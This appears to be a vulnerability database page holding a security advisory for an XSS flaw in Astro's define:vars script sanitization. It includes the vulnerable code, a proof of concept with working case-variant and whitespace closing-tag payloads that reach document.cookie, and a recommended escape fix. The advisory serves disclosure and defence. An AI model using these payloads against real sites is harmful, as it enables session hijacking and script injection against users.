Vulnerabilities affecting this package (0)
| Vulnerability |
Summary |
Fixed by |
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This package is not known to be affected by vulnerabilities.
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Vulnerabilities fixed by this package (1)
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VCID-a19r-4mhu-syhd
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Astro: XSS in define:vars via incomplete </script> tag sanitization
## Summary
The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript.
## Details
The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`:
```typescript
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/<\/script>/g, // ← Case-sensitive, exact match only
'\\x3C/script>',
)};\n`;
}
return markHTMLString(output);
}
```
This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`:
```typescript
if (name === 'script') {
delete props.hoist;
children = defineScriptVars(defineVars) + '\n' + children;
}
```
The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody):
1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag.
2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`.
`JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged.
**Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.
## PoC
**Step 1:** Create an SSR Astro page (`src/pages/index.astro`):
```astro
---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
<h1>Hello</h1>
<script define:vars={{ name }}>
console.log(name);
</script>
</body>
</html>
```
**Step 2:** Ensure SSR is enabled in `astro.config.mjs`:
```js
export default defineConfig({
output: 'server'
});
```
**Step 3:** Start the dev server and visit:
```
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
```
**Step 4:** View the HTML source. The output contains:
```html
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
console.log(name);
</script>
```
The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes.
**Alternative bypass payloads:**
```
/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
```
## Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro.
Exploitation enables:
- **Session hijacking** via cookie theft (`document.cookie`)
- **Credential theft** by injecting fake login forms or keyloggers
- **Defacement** of the rendered page
- **Redirection** to attacker-controlled domains
The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable.
## Recommended Fix
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output:
```typescript
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/</g,
'\\u003c',
)};\n`;
}
return markHTMLString(output);
}
```
This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms.
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CVE-2026-41067
GHSA-j687-52p2-xcff
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